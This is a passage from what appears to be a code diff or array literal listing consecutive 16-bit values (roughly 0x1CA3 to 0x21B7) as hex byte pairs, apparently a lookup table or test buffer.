0x1C, 0xA3, 0x1C, 0xA4, 0x1C, + 0xA5, 0x1C, 0xA6, 0x1C, 0xA7, 0x1C, 0xA8, 0x1C, + 0xA9, 0x1C, 0xAA, 0x1C, 0xAB, 0x1C, 0xAC, 0x1C, + 0xAD, 0x1C, 0xAE, 0x1C, 0xAF, 0x1C, 0xB0, 0x1C, + 0xB1, 0x1C, 0xB2, 0x1C, 0xB3, 0x1C, 0xB4, 0x1C, + 0xB5, 0x1C, 0xB6, 0x1C, 0xB7, 0x1C, 0xB8, 0x1C, + 0xB9, 0x1C, 0xBA, 0x1C, 0xBB, 0x1C, 0xBC, 0x1C, + 0xBD, 0x1C, 0xBE, 0x1C, 0xBF, 0x1C, 0xC0, 0x1C, + 0xC1, 0x1C, 0xC2, 0x1C, 0xC3, 0x1C, 0xC4, 0x1C, + 0xC5, 0x1C, 0xC6, 0x1C, 0xC7, 0x1C, 0xC8, 0x1C, + 0xC9, 0x1C, 0xCA, 0x1C, 0xCB, 0x1C, 0xCC, 0x1C, + 0xCD, 0x1C, 0xCE, 0x1C, 0xCF, 0x1C, 0xD0, 0x1C, + 0xD1, 0x1C, 0xD2, 0x1C, 0xD3, 0x1C, 0xD4, 0x1C, + 0xD5, 0x1C, 0xD6, 0x1C, 0xD7, 0x1C, 0xD8, 0x1C, + 0xD9, 0x1C, 0xDA, 0x1C, 0xDB, 0x1C, 0xDC, 0x1C, + 0xDD, 0x1C, 0xDE, 0x1C, 0xDF, 0x1C, 0xE0, 0x1C, + 0xE1, 0x1C, 0xE2, 0x1C, 0xE3, 0x1C, 0xE4, 0x1C, + 0xE5, 0x1C, 0xE6, 0x1C, 0xE7, 0x1C, 0xE8, 0x1C, + 0xE9, 0x1C, 0xEA, 0x1C, 0xEB, 0x1C, 0xEC, 0x1C, + 0xED, 0x1C, 0xEE, 0x1C, 0xEF, 0x1C, 0xF0, 0x1C, + 0xF1, 0x1C, 0xF2, 0x1C, 0xF3, 0x1C, 0xF4, 0x1C, + 0xF5, 0x1C, 0xF6, 0x1C, 0xF7, 0x1C, 0xF8, 0x1C, + 0xF9, 0x1C, 0xFA, 0x1C, 0xFB, 0x1C, 0xFC, 0x1C, + 0xFD, 0x1C, 0xFE, 0x1C, 0xFF, 0x1D, 0x00, 0x1D, + 0x01, 0x1D, 0x02, 0x1D, 0x03, 0x1D, 0x04, 0x1D, + 0x05, 0x1D, 0x06, 0x1D, 0x07, 0x1D, 0x08, 0x1D, + 0x09, 0x1D, 0x0A, 0x1D, 0x0B, 0x1D, 0x0C, 0x1D, + 0x0D, 0x1D, 0x0E, 0x1D, 0x0F, 0x1D, 0x10, 0x1D, + 0x11, 0x1D, 0x12, 0x1D, 0x13, 0x1D, 0x14, 0x1D, + 0x15, 0x1D, 0x16, 0x1D, 0x17, 0x1D, 0x18, 0x1D, + 0x19, 0x1D, 0x1A, 0x1D, 0x1B, 0x1D, 0x1C, 0x1D, + 0x1D, 0x1D, 0x1E, 0x1D, 0x1F, 0x1D, 0x20, 0x1D, + 0x21, 0x1D, 0x22, 0x1D, 0x23, 0x1D, 0x24, 0x1D, + 0x25, 0x1D, 0x26, 0x1D, 0x27, 0x1D, 0x28, 0x1D, + 0x29, 0x1D, 0x2A, 0x1D, 0x2B, 0x1D, 0x2C, 0x1D, + 0x2D, 0x1D, 0x2E, 0x1D, 0x2F, 0x1D, 0x30, 0x1D, + 0x31, 0x1D, 0x32, 0x1D, 0x33, 0x1D, 0x34, 0x1D, + 0x35, 0x1D, 0x36, 0x1D, 0x37, 0x1D, 0x38, 0x1D, + 0x39, 0x1D, 0x3A, 0x1D, 0x3B, 0x1D, 0x3C, 0x1D, + 0x3D, 0x1D, 0x3E, 0x1D, 0x3F, 0x1D, 0x40, 0x1D, + 0x41, 0x1D, 0x42, 0x1D, 0x43, 0x1D, 0x44, 0x1D, + 0x45, 0x1D, 0x46, 0x1D, 0x47, 0x1D, 0x48, 0x1D, + 0x49, 0x1D, 0x4A, 0x1D, 0x4B, 0x1D, 0x4C, 0x1D, + 0x4D, 0x1D, 0x4E, 0x1D, 0x4F, 0x1D, 0x50, 0x1D, + 0x51, 0x1D, 0x52, 0x1D, 0x53, 0x1D, 0x54, 0x1D, + 0x55, 0x1D, 0x56, 0x1D, 0x57, 0x1D, 0x58, 0x1D, + 0x59, 0x1D, 0x5A, 0x1D, 0x5B, 0x1D, 0x5C, 0x1D, + 0x5D, 0x1D, 0x5E, 0x1D, 0x5F, 0x1D, 0x60, 0x1D, + 0x61, 0x1D, 0x62, 0x1D, 0x63, 0x1D, 0x64, 0x1D, + 0x65, 0x1D, 0x66, 0x1D, 0x67, 0x1D, 0x68, 0x1D, + 0x69, 0x1D, 0x6A, 0x1D, 0x6B, 0x1D, 0x6C, 0x1D, + 0x6D, 0x1D, 0x6E, 0x1D, 0x6F, 0x1D, 0x70, 0x1D, + 0x71, 0x1D, 0x72, 0x1D, 0x73, 0x1D, 0x74, 0x1D, + 0x75, 0x1D, 0x76, 0x1D, 0x77, 0x1D, 0x78, 0x1D, + 0x79, 0x1D, 0x7A, 0x1D, 0x7B, 0x1D, 0x7C, 0x1D, + 0x7D, 0x1D, 0x7E, 0x1D, 0x7F, 0x1D, 0x80, 0x1D, + 0x81, 0x1D, 0x82, 0x1D, 0x83, 0x1D, 0x84, 0x1D, + 0x85, 0x1D, 0x86, 0x1D, 0x87, 0x1D, 0x88, 0x1D, + 0x89, 0x1D, 0x8A, 0x1D, 0x8B, 0x1D, 0x8C, 0x1D, + 0x8D, 0x1D, 0x8E, 0x1D, 0x8F, 0x1D, 0x90, 0x1D, + 0x91, 0x1D, 0x92, 0x1D, 0x93, 0x1D, 0x94, 0x1D, + 0x95, 0x1D, 0x96, 0x1D, 0x97, 0x1D, 0x98, 0x1D, + 0x99, 0x1D, 0x9A, 0x1D, 0x9B, 0x1D, 0x9C, 0x1D, + 0x9D, 0x1D, 0x9E, 0x1D, 0x9F, 0x1D, 0xA0, 0x1D, + 0xA1, 0x1D, 0xA2, 0x1D, 0xA3, 0x1D, 0xA4, 0x1D, + 0xA5, 0x1D, 0xA6, 0x1D, 0xA7, 0x1D, 0xA8, 0x1D, + 0xA9, 0x1D, 0xAA, 0x1D, 0xAB, 0x1D, 0xAC, 0x1D, + 0xAD, 0x1D, 0xAE, 0x1D, 0xAF, 0x1D, 0xB0, 0x1D, + 0xB1, 0x1D, 0xB2, 0x1D, 0xB3, 0x1D, 0xB4, 0x1D, + 0xB5, 0x1D, 0xB6, 0x1D, 0xB7, 0x1D, 0xB8, 0x1D, + 0xB9, 0x1D, 0xBA, 0x1D, 0xBB, 0x1D, 0xBC, 0x1D, + 0xBD, 0x1D, 0xBE, 0x1D, 0xBF, 0x1D, 0xC0, 0x1D, + 0xC1, 0x1D, 0xC2, 0x1D, 0xC3, 0x1D, 0xC4, 0x1D, + 0xC5, 0x1D, 0xC6, 0x1D, 0xC7, 0x1D, 0xC8, 0x1D, + 0xC9, 0x1D, 0xCA, 0x1D, 0xCB, 0x1D, 0xCC, 0x1D, + 0xCD, 0x1D, 0xCE, 0x1D, 0xCF, 0x1D, 0xD0, 0x1D, + 0xD1, 0x1D, 0xD2, 0x1D, 0xD3, 0x1D, 0xD4, 0x1D, + 0xD5, 0x1D, 0xD6, 0x1D, 0xD7, 0x1D, 0xD8, 0x1D, + 0xD9, 0x1D, 0xDA, 0x1D, 0xDB, 0x1D, 0xDC, 0x1D, + 0xDD, 0x1D, 0xDE, 0x1D, 0xDF, 0x1D, 0xE0, 0x1D, + 0xE1, 0x1D, 0xE2, 0x1D, 0xE3, 0x1D, 0xE4, 0x1D, + 0xE5, 0x1D, 0xE6, 0x1D, 0xE7, 0x1D, 0xE8, 0x1D, + 0xE9, 0x1D, 0xEA, 0x1D, 0xEB, 0x1D, 0xEC, 0x1D, + 0xED, 0x1D, 0xEE, 0x1D, 0xEF, 0x1D, 0xF0, 0x1D, + 0xF1, 0x1D, 0xF2, 0x1D, 0xF3, 0x1D, 0xF4, 0x1D, + 0xF5, 0x1D, 0xF6, 0x1D, 0xF7, 0x1D, 0xF8, 0x1D, + 0xF9, 0x1D, 0xFA, 0x1D, 0xFB, 0x1D, 0xFC, 0x1D, + 0xFD, 0x1D, 0xFE, 0x1D, 0xFF, 0x1E, 0x00, 0x1E, + 0x01, 0x1E, 0x02, 0x1E, 0x03, 0x1E, 0x04, 0x1E, + 0x05, 0x1E, 0x06, 0x1E, 0x07, 0x1E, 0x08, 0x1E, + 0x09, 0x1E, 0x0A, 0x1E, 0x0B, 0x1E, 0x0C, 0x1E, + 0x0D, 0x1E, 0x0E, 0x1E, 0x0F, 0x1E, 0x10, 0x1E, + 0x11, 0x1E, 0x12, 0x1E, 0x13, 0x1E, 0x14, 0x1E, + 0x15, 0x1E, 0x16, 0x1E, 0x17, 0x1E, 0x18, 0x1E, + 0x19, 0x1E, 0x1A, 0x1E, 0x1B, 0x1E, 0x1C, 0x1E, + 0x1D, 0x1E, 0x1E, 0x1E, 0x1F, 0x1E, 0x20, 0x1E, + 0x21, 0x1E, 0x22, 0x1E, 0x23, 0x1E, 0x24, 0x1E, + 0x25, 0x1E, 0x26, 0x1E, 0x27, 0x1E, 0x28, 0x1E, + 0x29, 0x1E, 0x2A, 0x1E, 0x2B, 0x1E, 0x2C, 0x1E, + 0x2D, 0x1E, 0x2E, 0x1E, 0x2F, 0x1E, 0x30, 0x1E, + 0x31, 0x1E, 0x32, 0x1E, 0x33, 0x1E, 0x34, 0x1E, + 0x35, 0x1E, 0x36, 0x1E, 0x37, 0x1E, 0x38, 0x1E, + 0x39, 0x1E, 0x3A, 0x1E, 0x3B, 0x1E, 0x3C, 0x1E, + 0x3D, 0x1E, 0x3E, 0x1E, 0x3F, 0x1E, 0x40, 0x1E, + 0x41, 0x1E, 0x42, 0x1E, 0x43, 0x1E, 0x44, 0x1E, + 0x45, 0x1E, 0x46, 0x1E, 0x47, 0x1E, 0x48, 0x1E, + 0x49, 0x1E, 0x4A, 0x1E, 0x4B, 0x1E, 0x4C, 0x1E, + 0x4D, 0x1E, 0x4E, 0x1E, 0x4F, 0x1E, 0x50, 0x1E, + 0x51, 0x1E, 0x52, 0x1E, 0x53, 0x1E, 0x54, 0x1E, + 0x55, 0x1E, 0x56, 0x1E, 0x57, 0x1E, 0x58, 0x1E, + 0x59, 0x1E, 0x5A, 0x1E, 0x5B, 0x1E, 0x5C, 0x1E, + 0x5D, 0x1E, 0x5E, 0x1E, 0x5F, 0x1E, 0x60, 0x1E, + 0x61, 0x1E, 0x62, 0x1E, 0x63, 0x1E, 0x64, 0x1E, + 0x65, 0x1E, 0x66, 0x1E, 0x67, 0x1E, 0x68, 0x1E, + 0x69, 0x1E, 0x6A, 0x1E, 0x6B, 0x1E, 0x6C, 0x1E, + 0x6D, 0x1E, 0x6E, 0x1E, 0x6F, 0x1E, 0x70, 0x1E, + 0x71, 0x1E, 0x72, 0x1E, 0x73, 0x1E, 0x74, 0x1E, + 0x75, 0x1E, 0x76, 0x1E, 0x77, 0x1E, 0x78, 0x1E, + 0x79, 0x1E, 0x7A, 0x1E, 0x7B, 0x1E, 0x7C, 0x1E, + 0x7D, 0x1E, 0x7E, 0x1E, 0x7F, 0x1E, 0x80, 0x1E, + 0x81, 0x1E, 0x82, 0x1E, 0x83, 0x1E, 0x84, 0x1E, + 0x85, 0x1E, 0x86, 0x1E, 0x87, 0x1E, 0x88, 0x1E, + 0x89, 0x1E, 0x8A, 0x1E, 0x8B, 0x1E, 0x8C, 0x1E, + 0x8D, 0x1E, 0x8E, 0x1E, 0x8F, 0x1E, 0x90, 0x1E, + 0x91, 0x1E, 0x92, 0x1E, 0x93, 0x1E, 0x94, 0x1E, + 0x95, 0x1E, 0x96, 0x1E, 0x97, 0x1E, 0x98, 0x1E, + 0x99, 0x1E, 0x9A, 0x1E, 0x9B, 0x1E, 0x9C, 0x1E, + 0x9D, 0x1E, 0x9E, 0x1E, 0x9F, 0x1E, 0xA0, 0x1E, + 0xA1, 0x1E, 0xA2, 0x1E, 0xA3, 0x1E, 0xA4, 0x1E, + 0xA5, 0x1E, 0xA6, 0x1E, 0xA7, 0x1E, 0xA8, 0x1E, + 0xA9, 0x1E, 0xAA, 0x1E, 0xAB, 0x1E, 0xAC, 0x1E, + 0xAD, 0x1E, 0xAE, 0x1E, 0xAF, 0x1E, 0xB0, 0x1E, + 0xB1, 0x1E, 0xB2, 0x1E, 0xB3, 0x1E, 0xB4, 0x1E, + 0xB5, 0x1E, 0xB6, 0x1E, 0xB7, 0x1E, 0xB8, 0x1E, + 0xB9, 0x1E, 0xBA, 0x1E, 0xBB, 0x1E, 0xBC, 0x1E, + 0xBD, 0x1E, 0xBE, 0x1E, 0xBF, 0x1E, 0xC0, 0x1E, + 0xC1, 0x1E, 0xC2, 0x1E, 0xC3, 0x1E, 0xC4, 0x1E, + 0xC5, 0x1E, 0xC6, 0x1E, 0xC7, 0x1E, 0xC8, 0x1E, + 0xC9, 0x1E, 0xCA, 0x1E, 0xCB, 0x1E, 0xCC, 0x1E, + 0xCD, 0x1E, 0xCE, 0x1E, 0xCF, 0x1E, 0xD0, 0x1E, + 0xD1, 0x1E, 0xD2, 0x1E, 0xD3, 0x1E, 0xD4, 0x1E, + 0xD5, 0x1E, 0xD6, 0x1E, 0xD7, 0x1E, 0xD8, 0x1E, + 0xD9, 0x1E, 0xDA, 0x1E, 0xDB, 0x1E, 0xDC, 0x1E, + 0xDD, 0x1E, 0xDE, 0x1E, 0xDF, 0x1E, 0xE0, 0x1E, + 0xE1, 0x1E, 0xE2, 0x1E, 0xE3, 0x1E, 0xE4, 0x1E, + 0xE5, 0x1E, 0xE6, 0x1E, 0xE7, 0x1E, 0xE8, 0x1E, + 0xE9, 0x1E, 0xEA, 0x1E, 0xEB, 0x1E, 0xEC, 0x1E, + 0xED, 0x1E, 0xEE, 0x1E, 0xEF, 0x1E, 0xF0, 0x1E, + 0xF1, 0x1E, 0xF2, 0x1E, 0xF3, 0x1E, 0xF4, 0x1E, + 0xF5, 0x1E, 0xF6, 0x1E, 0xF7, 0x1E, 0xF8, 0x1E, + 0xF9, 0x1E, 0xFA, 0x1E, 0xFB, 0x1E, 0xFC, 0x1E, + 0xFD, 0x1E, 0xFE, 0x1E, 0xFF, 0x1F, 0x00, 0x1F, + 0x01, 0x1F, 0x02, 0x1F, 0x03, 0x1F, 0x04, 0x1F, + 0x05, 0x1F, 0x06, 0x1F, 0x07, 0x1F, 0x08, 0x1F, + 0x09, 0x1F, 0x0A, 0x1F, 0x0B, 0x1F, 0x0C, 0x1F, + 0x0D, 0x1F, 0x0E, 0x1F, 0x0F, 0x1F, 0x10, 0x1F, + 0x11, 0x1F, 0x12, 0x1F, 0x13, 0x1F, 0x14, 0x1F, + 0x15, 0x1F, 0x16, 0x1F, 0x17, 0x1F, 0x18, 0x1F, + 0x19, 0x1F, 0x1A, 0x1F, 0x1B, 0x1F, 0x1C, 0x1F, + 0x1D, 0x1F, 0x1E, 0x1F, 0x1F, 0x1F, 0x20, 0x1F, + 0x21, 0x1F, 0x22, 0x1F, 0x23, 0x1F, 0x24, 0x1F, + 0x25, 0x1F, 0x26, 0x1F, 0x27, 0x1F, 0x28, 0x1F, + 0x29, 0x1F, 0x2A, 0x1F, 0x2B, 0x1F, 0x2C, 0x1F, + 0x2D, 0x1F, 0x2E, 0x1F, 0x2F, 0x1F, 0x30, 0x1F, + 0x31, 0x1F, 0x32, 0x1F, 0x33, 0x1F, 0x34, 0x1F, + 0x35, 0x1F, 0x36, 0x1F, 0x37, 0x1F, 0x38, 0x1F, + 0x39, 0x1F, 0x3A, 0x1F, 0x3B, 0x1F, 0x3C, 0x1F, + 0x3D, 0x1F, 0x3E, 0x1F, 0x3F, 0x1F, 0x40, 0x1F, + 0x41, 0x1F, 0x42, 0x1F, 0x43, 0x1F, 0x44, 0x1F, + 0x45, 0x1F, 0x46, 0x1F, 0x47, 0x1F, 0x48, 0x1F, + 0x49, 0x1F, 0x4A, 0x1F, 0x4B, 0x1F, 0x4C, 0x1F, + 0x4D, 0x1F, 0x4E, 0x1F, 0x4F, 0x1F, 0x50, 0x1F, + 0x51, 0x1F, 0x52, 0x1F, 0x53, 0x1F, 0x54, 0x1F, + 0x55, 0x1F, 0x56, 0x1F, 0x57, 0x1F, 0x58, 0x1F, + 0x59, 0x1F, 0x5A, 0x1F, 0x5B, 0x1F, 0x5C, 0x1F, + 0x5D, 0x1F, 0x5E, 0x1F, 0x5F, 0x1F, 0x60, 0x1F, + 0x61, 0x1F, 0x62, 0x1F, 0x63, 0x1F, 0x64, 0x1F, + 0x65, 0x1F, 0x66, 0x1F, 0x67, 0x1F, 0x68, 0x1F, + 0x69, 0x1F, 0x6A, 0x1F, 0x6B, 0x1F, 0x6C, 0x1F, + 0x6D, 0x1F, 0x6E, 0x1F, 0x6F, 0x1F, 0x70, 0x1F, + 0x71, 0x1F, 0x72, 0x1F, 0x73, 0x1F, 0x74, 0x1F, + 0x75, 0x1F, 0x76, 0x1F, 0x77, 0x1F, 0x78, 0x1F, + 0x79, 0x1F, 0x7A, 0x1F, 0x7B, 0x1F, 0x7C, 0x1F, + 0x7D, 0x1F, 0x7E, 0x1F, 0x7F, 0x1F, 0x80, 0x1F, + 0x81, 0x1F, 0x82, 0x1F, 0x83, 0x1F, 0x84, 0x1F, + 0x85, 0x1F, 0x86, 0x1F, 0x87, 0x1F, 0x88, 0x1F, + 0x89, 0x1F, 0x8A, 0x1F, 0x8B, 0x1F, 0x8C, 0x1F, + 0x8D, 0x1F, 0x8E, 0x1F, 0x8F, 0x1F, 0x90, 0x1F, + 0x91, 0x1F, 0x92, 0x1F, 0x93, 0x1F, 0x94, 0x1F, + 0x95, 0x1F, 0x96, 0x1F, 0x97, 0x1F, 0x98, 0x1F, + 0x99, 0x1F, 0x9A, 0x1F, 0x9B, 0x1F, 0x9C, 0x1F, + 0x9D, 0x1F, 0x9E, 0x1F, 0x9F, 0x1F, 0xA0, 0x1F, + 0xA1, 0x1F, 0xA2, 0x1F, 0xA3, 0x1F, 0xA4, 0x1F, + 0xA5, 0x1F, 0xA6, 0x1F, 0xA7, 0x1F, 0xA8, 0x1F, + 0xA9, 0x1F, 0xAA, 0x1F, 0xAB, 0x1F, 0xAC, 0x1F, + 0xAD, 0x1F, 0xAE, 0x1F, 0xAF, 0x1F, 0xB0, 0x1F, + 0xB1, 0x1F, 0xB2, 0x1F, 0xB3, 0x1F, 0xB4, 0x1F, + 0xB5, 0x1F, 0xB6, 0x1F, 0xB7, 0x1F, 0xB8, 0x1F, + 0xB9, 0x1F, 0xBA, 0x1F, 0xBB, 0x1F, 0xBC, 0x1F, + 0xBD, 0x1F, 0xBE, 0x1F, 0xBF, 0x1F, 0xC0, 0x1F, + 0xC1, 0x1F, 0xC2, 0x1F, 0xC3, 0x1F, 0xC4, 0x1F, + 0xC5, 0x1F, 0xC6, 0x1F, 0xC7, 0x1F, 0xC8, 0x1F, + 0xC9, 0x1F, 0xCA, 0x1F, 0xCB, 0x1F, 0xCC, 0x1F, + 0xCD, 0x1F, 0xCE, 0x1F, 0xCF, 0x1F, 0xD0, 0x1F, + 0xD1, 0x1F, 0xD2, 0x1F, 0xD3, 0x1F, 0xD4, 0x1F, + 0xD5, 0x1F, 0xD6, 0x1F, 0xD7, 0x1F, 0xD8, 0x1F, + 0xD9, 0x1F, 0xDA, 0x1F, 0xDB, 0x1F, 0xDC, 0x1F, + 0xDD, 0x1F, 0xDE, 0x1F, 0xDF, 0x1F, 0xE0, 0x1F, + 0xE1, 0x1F, 0xE2, 0x1F, 0xE3, 0x1F, 0xE4, 0x1F, + 0xE5, 0x1F, 0xE6, 0x1F, 0xE7, 0x1F, 0xE8, 0x1F, + 0xE9, 0x1F, 0xEA, 0x1F, 0xEB, 0x1F, 0xEC, 0x1F, + 0xED, 0x1F, 0xEE, 0x1F, 0xEF, 0x1F, 0xF0, 0x1F, + 0xF1, 0x1F, 0xF2, 0x1F, 0xF3, 0x1F, 0xF4, 0x1F, + 0xF5, 0x1F, 0xF6, 0x1F, 0xF7, 0x1F, 0xF8, 0x1F, + 0xF9, 0x1F, 0xFA, 0x1F, 0xFB, 0x1F, 0xFC, 0x1F, + 0xFD, 0x1F, 0xFE, 0x1F, 0xFF, 0x20, 0x00, 0x20, + 0x01, 0x20, 0x02, 0x20, 0x03, 0x20, 0x04, 0x20, + 0x05, 0x20, 0x06, 0x20, 0x07, 0x20, 0x08, 0x20, + 0x09, 0x20, 0x0A, 0x20, 0x0B, 0x20, 0x0C, 0x20, + 0x0D, 0x20, 0x0E, 0x20, 0x0F, 0x20, 0x10, 0x20, + 0x11, 0x20, 0x12, 0x20, 0x13, 0x20, 0x14, 0x20, + 0x15, 0x20, 0x16, 0x20, 0x17, 0x20, 0x18, 0x20, + 0x19, 0x20, 0x1A, 0x20, 0x1B, 0x20, 0x1C, 0x20, + 0x1D, 0x20, 0x1E, 0x20, 0x1F, 0x20, 0x20, 0x20, + 0x21, 0x20, 0x22, 0x20, 0x23, 0x20, 0x24, 0x20, + 0x25, 0x20, 0x26, 0x20, 0x27, 0x20, 0x28, 0x20, + 0x29, 0x20, 0x2A, 0x20, 0x2B, 0x20, 0x2C, 0x20, + 0x2D, 0x20, 0x2E, 0x20, 0x2F, 0x20, 0x30, 0x20, + 0x31, 0x20, 0x32, 0x20, 0x33, 0x20, 0x34, 0x20, + 0x35, 0x20, 0x36, 0x20, 0x37, 0x20, 0x38, 0x20, + 0x39, 0x20, 0x3A, 0x20, 0x3B, 0x20, 0x3C, 0x20, + 0x3D, 0x20, 0x3E, 0x20, 0x3F, 0x20, 0x40, 0x20, + 0x41, 0x20, 0x42, 0x20, 0x43, 0x20, 0x44, 0x20, + 0x45, 0x20, 0x46, 0x20, 0x47, 0x20, 0x48, 0x20, + 0x49, 0x20, 0x4A, 0x20, 0x4B, 0x20, 0x4C, 0x20, + 0x4D, 0x20, 0x4E, 0x20, 0x4F, 0x20, 0x50, 0x20, + 0x51, 0x20, 0x52, 0x20, 0x53, 0x20, 0x54, 0x20, + 0x55, 0x20, 0x56, 0x20, 0x57, 0x20, 0x58, 0x20, + 0x59, 0x20, 0x5A, 0x20, 0x5B, 0x20, 0x5C, 0x20, + 0x5D, 0x20, 0x5E, 0x20, 0x5F, 0x20, 0x60, 0x20, + 0x61, 0x20, 0x62, 0x20, 0x63, 0x20, 0x64, 0x20, + 0x65, 0x20, 0x66, 0x20, 0x67, 0x20, 0x68, 0x20, + 0x69, 0x20, 0x6A, 0x20, 0x6B, 0x20, 0x6C, 0x20, + 0x6D, 0x20, 0x6E, 0x20, 0x6F, 0x20, 0x70, 0x20, + 0x71, 0x20, 0x72, 0x20, 0x73, 0x20, 0x74, 0x20, + 0x75, 0x20, 0x76, 0x20, 0x77, 0x20, 0x78, 0x20, + 0x79, 0x20, 0x7A, 0x20, 0x7B, 0x20, 0x7C, 0x20, + 0x7D, 0x20, 0x7E, 0x20, 0x7F, 0x20, 0x80, 0x20, + 0x81, 0x20, 0x82, 0x20, 0x83, 0x20, 0x84, 0x20, + 0x85, 0x20, 0x86, 0x20, 0x87, 0x20, 0x88, 0x20, + 0x89, 0x20, 0x8A, 0x20, 0x8B, 0x20, 0x8C, 0x20, + 0x8D, 0x20, 0x8E, 0x20, 0x8F, 0x20, 0x90, 0x20, + 0x91, 0x20, 0x92, 0x20, 0x93, 0x20, 0x94, 0x20, + 0x95, 0x20, 0x96, 0x20, 0x97, 0x20, 0x98, 0x20, + 0x99, 0x20, 0x9A, 0x20, 0x9B, 0x20, 0x9C, 0x20, + 0x9D, 0x20, 0x9E, 0x20, 0x9F, 0x20, 0xA0, 0x20, + 0xA1, 0x20, 0xA2, 0x20, 0xA3, 0x20, 0xA4, 0x20, + 0xA5, 0x20, 0xA6, 0x20, 0xA7, 0x20, 0xA8, 0x20, + 0xA9, 0x20, 0xAA, 0x20, 0xAB, 0x20, 0xAC, 0x20, + 0xAD, 0x20, 0xAE, 0x20, 0xAF, 0x20, 0xB0, 0x20, + 0xB1, 0x20, 0xB2, 0x20, 0xB3, 0x20, 0xB4, 0x20, + 0xB5, 0x20, 0xB6, 0x20, 0xB7, 0x20, 0xB8, 0x20, + 0xB9, 0x20, 0xBA, 0x20, 0xBB, 0x20, 0xBC, 0x20, + 0xBD, 0x20, 0xBE, 0x20, 0xBF, 0x20, 0xC0, 0x20, + 0xC1, 0x20, 0xC2, 0x20, 0xC3, 0x20, 0xC4, 0x20, + 0xC5, 0x20, 0xC6, 0x20, 0xC7, 0x20, 0xC8, 0x20, + 0xC9, 0x20, 0xCA, 0x20, 0xCB, 0x20, 0xCC, 0x20, + 0xCD, 0x20, 0xCE, 0x20, 0xCF, 0x20, 0xD0, 0x20, + 0xD1, 0x20, 0xD2, 0x20, 0xD3, 0x20, 0xD4, 0x20, + 0xD5, 0x20, 0xD6, 0x20, 0xD7, 0x20, 0xD8, 0x20, + 0xD9, 0x20, 0xDA, 0x20, 0xDB, 0x20, 0xDC, 0x20, + 0xDD, 0x20, 0xDE, 0x20, 0xDF, 0x20, 0xE0, 0x20, + 0xE1, 0x20, 0xE2, 0x20, 0xE3, 0x20, 0xE4, 0x20, + 0xE5, 0x20, 0xE6, 0x20, 0xE7, 0x20, 0xE8, 0x20, + 0xE9, 0x20, 0xEA, 0x20, 0xEB, 0x20, 0xEC, 0x20, + 0xED, 0x20, 0xEE, 0x20, 0xEF, 0x20, 0xF0, 0x20, + 0xF1, 0x20, 0xF2, 0x20, 0xF3, 0x20, 0xF4, 0x20, + 0xF5, 0x20, 0xF6, 0x20, 0xF7, 0x20, 0xF8, 0x20, + 0xF9, 0x20, 0xFA, 0x20, 0xFB, 0x20, 0xFC, 0x20, + 0xFD, 0x20, 0xFE, 0x20, 0xFF, 0x21, 0x00, 0x21, + 0x01, 0x21, 0x02, 0x21, 0x03, 0x21, 0x04, 0x21, + 0x05, 0x21, 0x06, 0x21, 0x07, 0x21, 0x08, 0x21, + 0x09, 0x21, 0x0A, 0x21, 0x0B, 0x21, 0x0C, 0x21, + 0x0D, 0x21, 0x0E, 0x21, 0x0F, 0x21, 0x10, 0x21, + 0x11, 0x21, 0x12, 0x21, 0x13, 0x21, 0x14, 0x21, + 0x15, 0x21, 0x16, 0x21, 0x17, 0x21, 0x18, 0x21, + 0x19, 0x21, 0x1A, 0x21, 0x1B, 0x21, 0x1C, 0x21, + 0x1D, 0x21, 0x1E, 0x21, 0x1F, 0x21, 0x20, 0x21, + 0x21, 0x21, 0x22, 0x21, 0x23, 0x21, 0x24, 0x21, + 0x25, 0x21, 0x26, 0x21, 0x27, 0x21, 0x28, 0x21, + 0x29, 0x21, 0x2A, 0x21, 0x2B, 0x21, 0x2C, 0x21, + 0x2D, 0x21, 0x2E, 0x21, 0x2F, 0x21, 0x30, 0x21, + 0x31, 0x21, 0x32, 0x21, 0x33, 0x21, 0x34, 0x21, + 0x35, 0x21, 0x36, 0x21, 0x37, 0x21, 0x38, 0x21, + 0x39, 0x21, 0x3A, 0x21, 0x3B, 0x21, 0x3C, 0x21, + 0x3D, 0x21, 0x3E, 0x21, 0x3F, 0x21, 0x40, 0x21, + 0x41, 0x21, 0x42, 0x21, 0x43, 0x21, 0x44, 0x21, + 0x45, 0x21, 0x46, 0x21, 0x47, 0x21, 0x48, 0x21, + 0x49, 0x21, 0x4A, 0x21, 0x4B, 0x21, 0x4C, 0x21, + 0x4D, 0x21, 0x4E, 0x21, 0x4F, 0x21, 0x50, 0x21, + 0x51, 0x21, 0x52, 0x21, 0x53, 0x21, 0x54, 0x21, + 0x55, 0x21, 0x56, 0x21, 0x57, 0x21, 0x58, 0x21, + 0x59, 0x21, 0x5A, 0x21, 0x5B, 0x21, 0x5C, 0x21, + 0x5D, 0x21, 0x5E, 0x21, 0x5F, 0x21, 0x60, 0x21, + 0x61, 0x21, 0x62, 0x21, 0x63, 0x21, 0x64, 0x21, + 0x65, 0x21, 0x66, 0x21, 0x67, 0x21, 0x68, 0x21, + 0x69, 0x21, 0x6A, 0x21, 0x6B, 0x21, 0x6C, 0x21, + 0x6D, 0x21, 0x6E, 0x21, 0x6F, 0x21, 0x70, 0x21, + 0x71, 0x21, 0x72, 0x21, 0x73, 0x21, 0x74, 0x21, + 0x75, 0x21, 0x76, 0x21, 0x77, 0x21, 0x78, 0x21, + 0x79, 0x21, 0x7A, 0x21, 0x7B, 0x21, 0x7C, 0x21, + 0x7D, 0x21, 0x7E, 0x21, 0x7F, 0x21, 0x80, 0x21, + 0x81, 0x21, 0x82, 0x21, 0x83, 0x21, 0x84, 0x21, + 0x85, 0x21, 0x86, 0x21, 0x87, 0x21, 0x88, 0x21, + 0x89, 0x21, 0x8A, 0x21, 0x8B, 0x21, 0x8C, 0x21, + 0x8D, 0x21, 0x8E, 0x21, 0x8F, 0x21, 0x90, 0x21, + 0x91, 0x21, 0x92, 0x21, 0x93, 0x21, 0x94, 0x21, + 0x95, 0x21, 0x96, 0x21, 0x97, 0x21, 0x98, 0x21, + 0x99, 0x21, 0x9A, 0x21, 0x9B, 0x21, 0x9C, 0x21, + 0x9D, 0x21, 0x9E, 0x21, 0x9F, 0x21, 0xA0, 0x21, + 0xA1, 0x21, 0xA2, 0x21, 0xA3, 0x21, 0xA4, 0x21, + 0xA5, 0x21, 0xA6, 0x21, 0xA7, 0x21, 0xA8, 0x21, + 0xA9, 0x21, 0xAA, 0x21, 0xAB, 0x21, 0xAC, 0x21, + 0xAD, 0x21, 0xAE, 0x21, 0xAF, 0x21, 0xB0, 0x21, + 0xB1, 0x21, 0xB2, 0x21, 0xB3, 0x21, 0xB4, 0x21, + 0xB5, 0x21, 0xB6, 0x21, 0xB7, 0x21, 